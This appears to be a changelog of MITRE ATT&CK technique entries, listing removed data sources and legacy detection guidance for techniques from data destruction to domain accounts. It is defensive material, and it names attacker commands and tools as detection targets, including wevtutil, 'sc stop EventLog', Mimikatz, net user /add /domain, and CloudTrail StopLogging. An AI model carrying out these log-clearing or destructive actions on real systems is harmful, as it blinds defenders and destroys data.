x_mitre_data_sources['Snapshot: Snapshot Deletion', 'Cloud Storage: Cloud Storage Modification', 'Process: Process Creation', 'File: File Deletion', 'Image: Image Deletion', 'Instance: Instance Deletion', 'File: File Modification', 'Volume: Volume Deletion', 'Cloud Storage: Cloud Storage Deletion', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:11.731000+00:002025-10-24 17:49:27.149000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\. + +In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.

[T1132] Data Encoding

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:21.024000+00:002025-10-24 17:49:23.915000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1486] Data Encrypted for Impact

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Cloud Storage: Cloud Storage Modification', 'Network Share: Network Share Access', 'File: File Creation', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:00.731000+00:002025-10-24 17:49:16.589000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. + +In some cases, monitoring for unusual kernel driver installation activity can aid in detection. + +In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.

[T1565] Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'File: File Creation', 'Network Traffic: Network Traffic Flow', 'File: File Deletion', 'File: File Modification', 'File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:14:59.144000+00:002025-10-24 17:49:13.111000+00:00
x_mitre_detectionWhere applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.

[T1001] Data Obfuscation

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:57.412000+00:002025-10-24 17:49:13.380000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1074] Data Staged

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:45.225000+00:002025-10-24 17:49:01.010000+00:00
x_mitre_detectionProcesses that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. + +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.

[T1030] Data Transfer Size Limits

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:05.559000+00:002025-10-24 17:49:20.770000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1530] Data from Cloud Storage

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Cloud Service: Cloud Service Metadata', 'Cloud Storage: Cloud Storage Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:15:26.889000+00:002025-10-24 17:48:37.187000+00:00
x_mitre_detectionMonitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.

[T1602] Data from Configuration Repository

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:15.147000+00:002025-10-24 17:48:22.396000+00:00
x_mitre_detectionIdentify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)

[T1213] Data from Information Repositories

Current version: 3.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:15:46.213000+00:002025-10-24 17:49:26.262000+00:00
x_mitre_detectionAs information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. + +The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.

[T1039] Data from Network Shared Drive

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Share: Network Share Access', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:18.881000+00:002025-10-24 17:49:13.555000+00:00
x_mitre_detectionMonitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1025] Data from Removable Media

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:10.837000+00:002025-10-24 17:48:28.431000+00:00
x_mitre_detectionMonitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1102.001] Web Service: Dead Drop Resolver

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:36.031000+00:002025-10-24 17:49:37.828000+00:00
x_mitre_detectionHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)

[T1622] Debugger Evasion

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Process: OS API Execution', 'Application Log: Application Log Content', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:16.468000+00:002025-10-24 17:49:32.196000+00:00
x_mitre_detectionDebugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. + +Monitor debugger logs for signs of abnormal and potentially malicious activity.

[T1491] Defacement

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'File: File Creation', 'Application Log: Application Log Content', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:35.374000+00:002025-10-24 17:48:49.761000+00:00
x_mitre_detectionMonitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. + +

[T1078.001] Valid Accounts: Default Accounts

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:35.610000+00:002025-10-24 17:48:51.181000+00:00
x_mitre_detectionMonitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.

[T1578.003] Modify Cloud Compute Infrastructure: Delete Cloud Instance

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Instance: Instance Metadata', 'Instance: Instance Deletion']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:16:21.146000+00:002025-10-24 17:48:56.705000+00:00
x_mitre_detectionThe deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity. + +In AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)

[T1140] Deobfuscate/Decode Files or Information

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Script: Script Execution', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:24.400000+00:002025-10-24 17:48:40.925000+00:00
x_mitre_detectionDetecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). + +Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.

[T1610] Deploy Container

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Container: Container Start', 'Application Log: Application Log Content', 'Pod: Pod Creation', 'Container: Container Creation', 'Pod: Pod Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:33.230000+00:002025-10-24 17:48:49.017000+00:00
x_mitre_detectionMonitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.

[T1591.001] Gather Victim Org Information: Determine Physical Locations

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:16:44.365000+00:002025-10-24 17:49:34.503000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1587] Develop Capabilities

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata', 'Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:17:05.876000+00:002025-10-24 17:49:34.675000+00:00
x_mitre_detectionConsider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. + +Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.

[T1587.003] Develop Capabilities: Digital Certificates

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:18:36.653000+00:002025-10-24 17:48:29.137000+00:00
x_mitre_detectionConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) + +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

[T1588.004] Obtain Capabilities: Digital Certificates

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Certificate: Certificate Registration', 'Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:18:17.702000+00:002025-10-24 17:48:27.525000+00:00
x_mitre_detectionConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) + +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

[T1596.003] Search Open Technical Databases: Digital Certificates

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:18:01.430000+00:002025-10-24 17:48:21.668000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1498.001] Network Denial of Service: Direct Network Flood

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:19:07.343000+00:002025-10-24 17:48:22.567000+00:00
x_mitre_detectionDetection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.

[T1006] Direct Volume Access

Current version: 2.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Drive: Drive Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:05.272000+00:002025-10-24 17:48:23.015000+00:00
x_mitre_detectionMonitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) + +Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.

[T1600.002] Weaken Encryption: Disable Crypto Hardware

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:14.891000+00:002025-10-24 17:49:01.374000+00:00
x_mitre_detectionThere is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.

[T1562.002] Impair Defenses: Disable Windows Event Logging

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Sensor Health: Host Status', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Script: Script Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:17.061000+00:002025-10-24 17:48:45.425000+00:00
x_mitre_detectionMonitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) + +In Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered. + +Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)

[T1562.007] Impair Defenses: Disable or Modify Cloud Firewall

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:19:38.109000+00:002025-10-24 17:48:58.515000+00:00
x_mitre_detectionMonitor cloud logs for modification or creation of new security groups or firewall rules.

[T1562.008] Impair Defenses: Disable or Modify Cloud Logs

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Cloud Service: Cloud Service Modification', 'User Account: User Account Modification', 'Cloud Service: Cloud Service Disable']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:19:53.826000+00:002025-10-24 17:49:23.308000+00:00
x_mitre_detectionMonitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.

[T1562.004] Impair Defenses: Disable or Modify System Firewall

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Firewall: Firewall Rule Modification', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Firewall: Firewall Disable']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:31.395000+00:002025-10-24 17:48:47.755000+00:00
x_mitre_detectionMonitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.

[T1561.001] Disk Wipe: Disk Content Wipe

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Drive: Drive Modification', 'Drive: Drive Access', 'Driver: Driver Load', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:23.834000+00:002025-10-24 17:49:38.983000+00:00
x_mitre_detectionLook for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity. + +For network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.

[T1561.002] Disk Wipe: Disk Structure Wipe

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Driver: Driver Load', 'Drive: Drive Modification', 'Drive: Drive Access', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:04.838000+00:002025-10-24 17:48:22.482000+00:00
x_mitre_detectionLook for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity. + +For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.

[T1561] Disk Wipe

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Driver: Driver Load', 'Drive: Drive Access', 'Command: Command Execution', 'Drive: Drive Modification', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:09.974000+00:002025-10-24 17:48:27.697000+00:00
x_mitre_detectionLook for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.

[T1021.003] Remote Services: Distributed Component Object Model

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Module: Module Load', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:20:51.024000+00:002025-10-24 17:48:53.724000+00:00
x_mitre_detectionMonitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. + +Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).

[T1136.002] Create Account: Domain Account

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'User Account: User Account Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:21:24.212000+00:002025-10-24 17:48:57.883000+00:00
x_mitre_detectionMonitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.

[T1087.002] Account Discovery: Domain Account

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Group: Group Enumeration']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:21:07.252000+00:002025-10-24 17:48:31.050000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). +

[T1078.002] Valid Accounts: Domain Accounts

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:20.358000+00:002025-10-24 17:49:21.034000+00:00
